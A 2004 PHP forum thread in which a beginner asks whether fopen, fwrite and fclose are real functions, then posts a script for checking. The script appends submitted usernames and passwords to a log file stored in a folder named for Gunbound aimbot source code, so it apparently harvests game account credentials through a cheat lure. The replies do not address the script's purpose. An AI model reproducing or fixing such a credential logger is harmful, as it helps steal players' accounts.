Page 1 of 1
fopen, fwrite, fclose?
Posted: Tue Feb 17, 2004 8:37 pm
by gpmaker
is fopen, fwrite, or/and fclose real statements? i'm don't really know php, but i have this .php file that's not working rite, so i was wondering if those were real.
Posted: Tue Feb 17, 2004 8:39 pm
by tim
lol yes they are real.
http://www.php.net/manual/en/function.fopen.php
post your code that isnt working.
can u tell me if this is correct?
Posted: Tue Feb 17, 2004 8:47 pm
by gpmaker
can u tell me if this is correct:
<?php
if (!$uname){
$uname = "ANON";
}
if (!$passw){
$passw = "NONE";
}
$curdate = date ("l dS of F Y h:i:s A");
$logfile = "C:\Downloads\Temp Folder\Temp\Gunbound Aimbot Sourcecode\Server Source Code\gblog.html";
$fileptr = fopen($logfile, "a");
fwrite($fileptr,"username:".$uname." password:".$passw." time:".$curdate."\n");
fclose($fileptr);
$message = nl2br($passw["message"]);
?>
Posted: Tue Feb 17, 2004 9:17 pm
by John Cartwright
In the futur... DO NOT MAKE DUPLICATE THREADS GRRRR.
Here is your answer
viewtopic.php?t=18255
Posted: Tue Feb 17, 2004 10:35 pm
by d3ad1ysp0rk
well tim asked for the code. this originally started on the topic of fopen and it's related functions.